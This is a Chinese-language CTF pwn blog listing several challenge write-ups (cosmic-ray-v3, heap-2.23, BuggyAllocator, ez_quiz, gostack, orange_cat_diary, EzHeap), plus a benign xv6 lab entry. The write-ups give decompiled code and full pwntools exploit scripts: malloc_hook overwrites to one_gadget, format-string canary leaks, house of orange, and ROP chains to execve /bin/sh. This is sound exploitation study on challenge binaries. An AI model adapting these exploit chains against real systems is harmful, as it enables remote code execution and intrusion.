快来和我贴贴qaq
post @ 2024-06-19

题目附件https://github.com/nyyyddddn/ctf/tree/main/vsctf_pwn

pwn

cosmic-ray-v3

程序的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed __int64 v3; // rax

  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  cosmic_ray();
  v3 = sys_exit(0);
  return 0;
}

__int64 cosmic_ray()
{
  __off_t offset; // [rsp+8h] [rbp-28h] BYREF
  char v2; // [rsp+12h] [rbp-1Eh] BYREF
  char buf; // [rsp+13h] [rbp-1Dh] BYREF
  unsigned int v4; // [rsp+14h] [rbp-1Ch] BYREF
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  int fd; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]

  puts("Enter an address to send a cosmic ray through:");
  __isoc99_scanf("0x%lx", &offset);
  getchar();
  putchar(10);
  fd = open("/proc/self/mem", 2);
  lseek(fd, offset, 0);
  read(fd, &buf, 1uLL);
  v6 = byte_to_binary((unsigned int)buf);
  puts("|0|1|2|3|4|5|6|7|");
  puts("-----------------");
  putchar(124);
  for ( i = 0; i <= 7; ++i )
    printf("%d|", (unsigned int)*(char *)(i + v6));
  putchar(10);
  putchar(10);
  puts("Enter the bit position to flip:");
  __isoc99_scanf("%d", &v4);
  getchar();
  if ( v4 >= 8 )
    exit(1);
  v5 = flip_bit(v6, v4);
  v2 = binary_to_byte(v5);
  putchar(10);
  printf("Bit succesfully flipped! New value is %d\n\n", (unsigned int)v2);
  lseek(fd, offset, 0);
  write(fd, &v2, 1uLL);
  return 0LL;
}

这里很神奇的地方是cosmic_ray其实能翻转没有写权限段的数据,通过/proc/self/mem linux中的伪文件系统实现的

然后程序中有一个很奇怪的地方,这个exit是通过内联汇编实现的exit,手工fuzz了好久,发现翻转 0xb8可以将 mov eax,0x3c 变成 mov edx,0x3c,也就是syscall read,刚刚好能溢出,覆盖返回地址六个字节,main函数的返回地址是libc_start_main上的地址,刚刚好是六个字节

这时候想到的做法是,先翻转 0xb8回到main后,再将syscall read的rdx改大,这样就可以打rop了,高版本glibc csu函数变成动态链接,所以没有好用的修改寄存器的gadget,但是可以通过cosmic_ray 去写gadget,只需要写一个pop rdi ret的gadget,打ret2libc就好了

.text:00000000004015E0 E8 E9 FD FF FF                call    cosmic_ray
.text:00000000004015E0
.text:00000000004015E5 B8 3C 00 00 00                mov     eax, 3Ch ; '<'
.text:00000000004015EA 48 31 FF                      xor     rdi, rdi                        ; error_code
.text:00000000004015ED 0F 05                         syscall                                 ; LINUX - sys_exit
.text:00000000004015EF B8 00 00 00 00                mov     eax, 0
.text:00000000004015F4 5D                            pop     rbp
.text:00000000004015F5 C3                            retn
.text:00000000004015F5                               ; } // starts at 4015AB

exp

Read More
post @ 2024-06-04

pwn

heap-2.23

程序逻辑

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_400866(a1, a2, a3);
  v3 = 0;
  while ( 1 )
  {
    init_0();
    __isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      case 5:
        free_all();
      default:
        puts("error!");
        break;
    }
  }
}

__int64 add()
{
  __int64 result; // rax
  int v1; // ebx
  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  v2 = 0;
  v3 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 0xF || *(&ptr + (int)v2) )
  {
    puts("error !");
    return 0LL;
  }
  else
  {
    printf("size? ");
    __isoc99_scanf("%d", &v3);
    v1 = v2;
    *(&ptr + v1) = malloc(v3);
    if ( !*(&ptr + (int)v2) )
    {
      puts("malloc error!");
      exit(1);
    }
    result = (int)v2;
    *((_DWORD *)&nbytes + (int)v2) = v3;
  }
  return result;
}

void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  v0 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v0);
  if ( v0 <= 0xF && *(&ptr + (int)v0) )
    free(*(&ptr + (int)v0));
  else
    puts("no such chunk!");
}

int show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
    return printf("content : %s\n", (const char *)*(&ptr + (int)v1));
  puts("no such chunk!");
  return 0;
}

ssize_t edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
  {
    puts("content : ");
    return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
  }
  else
  {
    puts("no such chunk!");
    return 0LL;
  }
}

ssize_t edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
  {
    puts("content : ");
    return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
  }
  else
  {
    puts("no such chunk!");
    return 0LL;
  }
}

void __noreturn free_all()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(&ptr + i) )
    {
      free(*(&ptr + i));
      *(&ptr + i) = 0LL;
      *((_DWORD *)&nbytes + i) = 0;
    }
  }
  exit(0);
}

存在 uaf,通过申请unsortedbin 去泄露libc基地址后,fastbin attack,通过错位字节绕过size检查的宏,写malloc hook为one gadget 触发 one gadget拿shell

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node2.anna.nssctf.cn"
PORT = 28922

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def add(idx,size):
    sla(">>",str(1))
    sla("idx?",str(idx))
    sla("size?",str(size))



def show(idx):
    sla(">>",str(3))
    sla("idx?",str(idx))


def delete(idx):
    sla(">>",str(2))
    sla("idx?",str(idx))


def edit(idx,content):
    sla(">>",str(4))
    sla("idx?",str(idx))
    sa("content :",content)


add(0,0x98)
add(1,0x98)
delete(0)
show(0)

ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x74afcefc4b78 - 0x74afcec00000)
success(f"libc_base ->{hex(libc_base)}")

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1247

add(2,0x68)
add(3,0x68)
add(4,0x68)

delete(2)
delete(3)

edit(2,p64(malloc_hook - 0x23))


add(5,0x68)
add(6,0x68)
add(7,0x68)


success(hex(malloc_hook))
success(hex(malloc_hook - 0x23))
success(hex(one_gadget))
edit(7,b"a" * 0x13 + p64(one_gadget))
add(9,0x20)


# g(p)

p.interactive()

heap-2.27

逻辑与漏洞和2.23相同,2.27中加入了tcache 可以使用tcache poison去实现任意地址写的原语写free hook去getshell

exp:

Read More
post @ 2024-05-30

xctf_BuggyAllocator复现

程序有 alloc 和dealloc两个选项

__int64 menu()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax

  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "*** Buggy  Allocator***");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "***     1. Alloc    ***");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  v2 = std::operator<<<std::char_traits<char>>(&std::cout, "***     2. Dealloc  ***");
  std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  return std::operator<<<std::char_traits<char>>(&std::cout, "> ");
}

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_4019D7(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      std::istream::operator>>(&std::cin, &choice);
      if ( choice != 1 )
        break;
      add();
    }
    if ( choice != 2 )
    {
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid Choice");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      exit(0);
    }
    delete();
  }
}

,其中alloc申请大于 0x80 会使用malloc函数分配内存(ptmalloc2),小于等于 0x80会使用自定义的堆管理器去分配内存

_QWORD *__fastcall alloc_memory(size_t size)
{
  __int64 v2; // rax
  _QWORD **v3; // [rsp+18h] [rbp-18h]
  _QWORD *v4; // [rsp+20h] [rbp-10h]

  if ( !size )
    return 0LL;
  if ( size > 0x80 )
    return malloc_(size);
  v3 = (_QWORD **)&free_list[get_idx(size)];
  v4 = *v3;
  if ( *v3 )
  {
    *v3 = (_QWORD *)*v4;
    return v4;
  }
  else
  {
    v2 = Alignment_size(size);
    return refill(v2);
  }
}

自定义的堆管理器维护一个free_list,申请内存的时候,当free list中没有申请大小的堆块时,就会调用refill 填充空闲区域(arena_end - arena_start),填充完后free list中拿,当空闲区域不够refill的时候会判断free list中有没有更大的堆块可以进行refill,如果都不满足会调用malloc申请名称

_QWORD *__fastcall refill(unsigned __int64 size)
{
  int nobjs; // [rsp+18h] [rbp-38h] BYREF
  int i; // [rsp+1Ch] [rbp-34h]
  _QWORD *current_obj; // [rsp+20h] [rbp-30h]
  _QWORD *v5; // [rsp+28h] [rbp-28h]
  _QWORD *my_free_list; // [rsp+30h] [rbp-20h]
  _QWORD *v7; // [rsp+38h] [rbp-18h]
  _QWORD *next_obj; // [rsp+40h] [rbp-10h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  nobjs = 20;
  v5 = (_QWORD *)chunk_alloc(size, &nobjs);
  if ( nobjs == 1 )
    return v5;
  my_free_list = &free_list[get_idx(size)];
  v7 = v5;
  current_obj = v5;
  *my_free_list = (char *)v5 + size;
  for ( i = 0; i != nobjs - 1; ++i )
  {
    next_obj = (_QWORD *)((char *)current_obj + size);
    *current_obj = (char *)current_obj + size;
    current_obj = next_obj;
  }
  return v7;
}

_QWORD *__fastcall chunk_alloc(unsigned __int64 size, int *nobjs)
{
  unsigned __int64 idx; // rax
  int i; // [rsp+14h] [rbp-3Ch]
  unsigned __int64 all_size; // [rsp+18h] [rbp-38h]
  unsigned __int64 available_size; // [rsp+20h] [rbp-30h]
  _QWORD *arena_start_ptr; // [rsp+28h] [rbp-28h]
  size_t v8; // [rsp+38h] [rbp-18h]
  _QWORD **v9; // [rsp+40h] [rbp-10h]
  _QWORD *v10; // [rsp+48h] [rbp-8h]

  all_size = size * *nobjs;
  available_size = arena_end - arena_start;
  arena_start_ptr = (_QWORD *)arena_start;
  if ( all_size > arena_end - arena_start )
  {
    if ( available_size < size )
    {
      if ( available_size )
      {
        arena_start = arena_end;
        idx = get_idx(available_size);
        *arena_start_ptr = free_list[idx];
        free_list[idx] = arena_start_ptr;
      }
      v8 = 2 * all_size;
      for ( i = size; i <= 128; i += 8 )
      {
        v9 = (_QWORD **)&free_list[get_idx(i)];
        v10 = *v9;
        if ( *v9 )
        {
          *v9 = (_QWORD *)*v10;
          arena_start = (__int64)v10;
          arena_end = (__int64)v10 + i;
          return chunk_alloc(size, nobjs);
        }
      }
      arena_end = 0LL;
      arena_start = (__int64)malloc_(v8);
      arena_end = arena_start + v8;
      return chunk_alloc(size, nobjs);
    }
    else
    {
      *nobjs = available_size / size;
      arena_start += size * *nobjs;
      return arena_start_ptr;
    }
  }
  else
  {
    arena_start += all_size;
    return arena_start_ptr;
  }
}

存在漏洞的地方是建立链表的时候不会将最后一个obj的next指针置空,可以通过堆块上残留的数据伪造一个指针破坏链表,实现任意地址分配

for ( i = 0; i != nobjs - 1; ++i )
{
  next_obj = (_QWORD *)((char *)current_obj + size);
  *current_obj = (char *)current_obj + size;
  current_obj = next_obj;
}

利用的思路是,首先申请大量的堆块,使arena_end - arena_start尽可能的小,这样申请小块内存的时候,建立freelist,会优先从free list中的大堆块中建立,而不是从后面空闲内存那建立,利用大堆块中残留的数据伪造next指针破坏freelist实现任意地址写,写IO_2_1_stdout 通过puts的利用链将libc的地址泄露出来后,再通过environ泄露栈地址,最后写rop

Read More
post @ 2024-05-27

ez_quiz

可以发现程序分三个部分,第一个部分是一个base32的逻辑,第二个是一个表达式计算的逻辑,第三个是格式化字符串漏洞 + 栈溢出的逻辑,要先过了前两个逻辑才会走到存在漏洞的逻辑,程序还存在一个backdoor

int __cdecl main(int argc, const char **argv, const char **envp)
{
    unsigned int v3; // eax
    unsigned int v4; // eax
    unsigned int v5; // eax
    unsigned int v6; // eax
    unsigned __int8 v8; // [rsp+3h] [rbp-19Dh]
    unsigned __int8 v9; // [rsp+4h] [rbp-19Ch]
    unsigned __int8 v10; // [rsp+5h] [rbp-19Bh]
    unsigned __int8 v11; // [rsp+6h] [rbp-19Ah]
    unsigned __int8 v12; // [rsp+7h] [rbp-199h]
    int i; // [rsp+8h] [rbp-198h]
    unsigned int v14; // [rsp+10h] [rbp-190h]
    unsigned int v15; // [rsp+14h] [rbp-18Ch]
    char v16[8]; // [rsp+18h] [rbp-188h] BYREF
    char nptr[32]; // [rsp+20h] [rbp-180h] BYREF
    char v18[32]; // [rsp+40h] [rbp-160h] BYREF
    char v19[32]; // [rsp+60h] [rbp-140h] BYREF
    char input_data[64]; // [rsp+80h] [rbp-120h] BYREF
    __int64 v21[10]; // [rsp+C0h] [rbp-E0h] BYREF
    char v22[136]; // [rsp+110h] [rbp-90h] BYREF
    unsigned __int64 v23; // [rsp+198h] [rbp-8h]

    v23 = __readfsqword(0x28u);
    init(argc, argv, envp);
    signal(14, handler);
    v9 = 0;
    v10 = 0;
    v11 = 0;
    v12 = 0;
    qmemcpy(v21, "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC", sizeof(v21));
    v3 = time(0LL);
    srand(v3);
    v8 = rand() % 256;
    chal1(input_data, 64);
    if ( strlen(input_data) > 0x32 )
    {
        strcpy(v22, "Out of length.\n");
        v4 = strlen(v22);
        wr1te(1LL, v22, v4);
        exit(1);
    }
    encode(input_data, (__int64)v22);
    for ( i = 0; i < 160; ++i )
    {
        v8 = lfsr_h(v8);
        if ( i == 156 )
            v12 = v8;
        if ( i == 157 )
            v11 = v8;
        if ( i == 158 )
            v10 = v8;
        if ( i == 159 )
            v9 = v8;
    }
    if ( (unsigned int)cmp((__int64)v22, (__int64)v21, 0x50uLL) )
    {
        strcpy(v16, "Right!\n");
        alarm(2u);
        v5 = strlen(v16);
        wr1te(1LL, v16, v5);
        strcpy(v19, "Please solve this calculation:\n");
        v14 = (v9 - v10) * v11 % v12;
        printf("(( %d - %d ) * %d ) %% %d=?\n", v9, v10, v11, v12);
        fgets(nptr, 20, stdin);
        alarm(0);
        v15 = atoi(nptr);
        if ( v15 != v14 )
        {
            printf("You input:%d , but answer:%d", v15, v14);
            exit(1);
        }
        strcpy(v18, "Right! Here's your gift:\n");
        v6 = strlen(v18);
        wr1te(1LL, v18, v6);
        gift();
    }
    else
    {
        puts("Not Right");
    }
    return 0;
}
__int64 gift()
{
    char format[40]; // [rsp+0h] [rbp-30h] BYREF
    unsigned __int64 v2; // [rsp+28h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    gets(format);
    printf(format);
    fflush(stdout);
    return gets(format);
}

base32decode 得到token是DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static const char base32_alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";

int base32_lookup(char c) {
    if (c >= 'A' && c <= 'Z') return c - 'A';
    if (c >= '2' && c <= '7') return c - '2' + 26;
    return -1;
}

void __fastcall decode(char *encoded, char *decoded) {
    int buffer = 0;
    int bits_left = 0;
    int count = 0;
    int length = strlen(encoded);

    for (int i = 0; i < length; i++) {
        if (encoded[i] == '=') break; // Padding character

        int val = base32_lookup(encoded[i]);
        if (val == -1) continue; // Skip invalid characters

        buffer = (buffer << 5) | val;
        bits_left += 5;

        if (bits_left >= 8) {
            decoded[count++] = ~(char)((buffer >> (bits_left - 8)) & 0xFF);
            bits_left -= 8;
        }
    }
    decoded[count] = '\0';
}

int main() {
    char encoded[] = "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC"; // Example encoded string
    char decoded[256];

    decode(encoded, decoded);

    printf("Decoded: %s\n", decoded);

    return 0;
}

式化字符串泄露canary和 elf相关的地址后,计算出backdoor的地址,之后栈溢出覆盖返回地址为backdoor就好了

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "challenge.qsnctf.com"
PORT = 30604

elf = context.binary = ELF('./attachment')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


ru("Please give me your token: ")

decoded_string = "DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}"
sl(decoded_string)

ru("(( ")
a = int(ru('-')[:-2])
b = int(ru(' )')[:-2])
ru('* ')
c = int(ru(' )')[:-2])
ru('% ')
d = int(ru('=')[:-1])

result = ((a - b) * c) %d
sl(str(result))

ru("Right! Here's your gift:\n")

payload = "--%11$p---%8$p"
# g(p)
sl(payload)
ru('--')
canary = int(r(18),16)
ru('---')
pie = int(r(14),16) - (0x62fadaae3bd7 - 0x62fadaae2000)

success(hex(canary))
success(hex(pie))


backdoor = pie + 0x0000000000001426
payload = b'a' * 0x28 + p64(canary) + b'a' * 8 + p64(backdoor)
sl(payload)


p.interactive()

stack

Read More
post @ 2024-05-23

Xv6 and Unix utilities

好哦,完成 mit 6.1810 2023 中 lab :Xv6 and Unix utilities了,准备开始下一章的学习了,xv6还是挺好玩的

sleep

根据题目描述,和 user/ 中的其他程序的逻辑可以发现 命令行参数传递是通过 main的argc 和argv去传递的,其中argc 中存储着参数的个数,argv存储着参数名,没有参数的时候argc = 1,argv[0] = program_name。
然后在 “user/user.h” 中有sleep 函数
所以 只需要直接调用sleep函数就好了, 把time上限也做一个设置(防止睡死过去了

#include "kernel/types.h"
#include "kernel/stat.h"
#include "user/user.h"

int main(int argc, char *argv[]){
    
    int time = 0;

    if (argc == 1 || argc > 2){
        printf("Error: Please provide the number of seconds to sleep\n e.g. sleep 5\n");
        exit(1);
    }

    time = atoi(argv[1]);
    if (time > 0 && time < 0x1000){
        printf("Zzzzzzzzz.....\n");
        sleep(time);
    }
    exit(0);
}

然后在Makefile中 添加 sleep这个文件 就好了

UPROGS=\
	$U/_cat\
	$U/_echo\
	$U/_forktest\
	$U/_grep\
	$U/_init\
	$U/_kill\
	$U/_ln\
	$U/_ls\
	$U/_mkdir\
	$U/_rm\
	$U/_sh\
	$U/_stressfs\
	$U/_usertests\
	$U/_grind\
	$U/_wc\
	$U/_zombie\
	$U/_sleep\

pingpong

Read More
post @ 2024-05-22

gostack

栈溢出,存在一个可以执行的命令的backdoor函数,用了下有些问题,就打ret2syscall了,栈上有一个strings结构体要伪造一下,syscall read到一个可以写的段,写binsh然后syscall execve getshell

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "8.147.133.9"
PORT = 17425

elf = context.binary = ELF('./gostack')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


rax = 0x000000000040f984
rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
rsi = 0x000000000042138a
rdx = 0x00000000004944ec
syscall = 0x0000000000404043
bss = 0x564000

payload = b'a' * 0x100 
payload += p64(bss + 0x50) 
payload += p64(0x50) 
payload += b'a' * 0x20 
payload += p64(bss) 
payload += p64(0x100) 
payload += b'a' * 0x90
payload += p64(rdi_r14_r13_r12_rbp_rbx) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0)
payload += p64(rax) 
payload += p64(0) 
payload += p64(rsi) 
payload += p64(bss) 
payload += p64(rdx) 
payload += p64(8) 
payload += p64(syscall)
payload += p64(rax) 
payload += p64(0x3b) 
payload += p64(rsi) 
payload += p64(0) 
payload += p64(rdi_r14_r13_r12_rbp_rbx) 
payload += p64(bss) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0)
payload += p64(rdx) 
payload += p64(0) 
payload += p64(syscall)

sla('message',payload)
# g(p)


time.sleep(0.3)
s(b'/bin/sh\x00')




p.interactive()

orange_cat_diary

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int choice; // eax
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_B26(a1, a2, a3);
  puts("Hello, I'm delighted to meet you. Please tell me your name.");
  memset(s, 0, 0x20uLL);
  read(0, s, 0x1FuLL);
  printf("Sweet %s, please record your daily stories.\n", s);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_choice();
      if ( choice != 2 )
        break;
      show();
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        delete();
      }
      else if ( choice == 4 )
      {
        edit();
      }
    }
    else if ( choice == 1 )
    {
      add();
    }
  }
}

int menu()
{
  puts("\n##orange_cat_diary##\n");
  puts("1.Add diary");
  puts("2.Show diary");
  puts("3.Delete diary");
  puts("4.Edit diary");
  puts("5.Exit");
  return printf("Please input your choice:");
}

__int64 sub_DE9()
{
  if ( dword_202014 > 0 )
  {
    fwrite(ptr, 1uLL, dword_202058, stdout);
    --dword_202014;
  }
  puts("Diary view successful.");
  return 0LL;
}

__int64 sub_D83()
{
  if ( dword_202010 > 0 )
  {
    free(ptr);
    --dword_202010;
  }
  puts("Diary deletion successful.");
  return 0LL;
}

__int64 sub_CD9()
{
  int choice; // [rsp+4h] [rbp-Ch]

  printf("Please input the length of the diary content:");
  choice = get_choice();
  if ( dword_202058 + 8 < (unsigned int)choice )
  {
    puts("The diary content exceeds the maximum length allowed.");
    exit(1);
  }
  puts("Please enter the diary content:");
  read(0, ptr, choice);
  puts("Diary modification successful.");
  return 0LL;
}

__int64 sub_BF5()
{
  int choice; // [rsp+4h] [rbp-Ch]

  printf("Please input the length of the diary content:");
  choice = get_choice();
  if ( (unsigned int)choice > 0x1000 )
  {
    puts("The diary content exceeds the maximum length allowed.");
    exit(1);
  }
  ptr = malloc(choice);
  if ( !ptr )
  {
    puts("Memory allocation failed.");
    exit(1);
  }
  dword_202058 = choice;
  puts("Please enter the diary content:");
  read(0, ptr, dword_202058);
  puts("Diary addition successful.");
  return 0LL;
}

利用堆溢出打house of orange拿到unsortedbin得到libc基地址,之后用那一次uaf的机会任意地址分配,错位字节绕过size检查 打malloc_hook为 one gadget就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "8.147.128.251"
PORT = 43423

elf = context.binary = ELF('./orange_cat_diary')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
p.sendafter = lambda x, y: p.sendafter(x, y)
p.sendlineafter = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
    p.sendlineafter("Please input your choice","1")
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",content)

def show():
    p.sendlineafter("Please input your choice","2")

def delete():
    p.sendlineafter("Please input your choice","3")

def edit(size,content):
    p.sendlineafter("Please input your choice","4")
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",content)


ru("Hello, I'm delighted to meet you. Please tell me your name.")
payload = b'\x00' * 0x1f
s(payload)


add(0x38,b"AAAA\n")
edit(0x40,b"A" * 0x38 + p64(0xfc1))

add(0x1000,b'A') # hosue of orange
add(0x408,b'A')

show()


r(6)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x73d0365c5141 - 0x73d036200000)
success(hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL


add(0x68,b"BBBB\n")
delete()

edit(0x68,p64(malloc_hook - 0x23))
add(0x68,b"BBBB\n")
one_gadget = libc_base + 0xf03a4
add(0x68,b"a" * 0x13 + p64(one_gadget))



p.sendlineafter("Please input your choice","1")
# g(p)
p.sendlineafter("Please input the length of the diary content:",str(0x8))



p.interactive()

EzHeap

题目的逻辑是这样的

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-34h] BYREF
  __int64 v4[6]; // [rsp+10h] [rbp-30h]

  v4[5] = __readfsqword(0x28u);
  init();
  seccomp_init_0();
  v4[0] = (__int64)malloc_heap;
  v4[1] = (__int64)free_heap;
  v4[2] = (__int64)edit_heap;
  v4[3] = (__int64)show_heap;
  v4[4] = (__int64)exit_programe;
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v3);
    if ( v3 <= 0 || v3 > 5 )
      puts("Invalid choice");
    else
      ((void (*)(void))v4[v3 - 1])();
  }
}

unsigned __int64 malloc_heap()
{
  unsigned int size; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 79 && *((_QWORD *)&chunk_list + i); ++i )
    ;
  if ( i <= 79 )
  {
    printf("size:");
    __isoc99_scanf("%d", &size);
    if ( size >= 0x501 )
    {
      puts("error");
      exit(0);
    }
    *((_QWORD *)&chunk_list + i) = malloc((int)size);
    memset(*((void **)&chunk_list + i), 0, (int)size);
    size_list[i] = (int)size;
    printf("content:");
    read(0, *((void **)&chunk_list + i), (int)size);
  }
  else
  {
    puts("full heap! ");
  }
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 free_heap()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

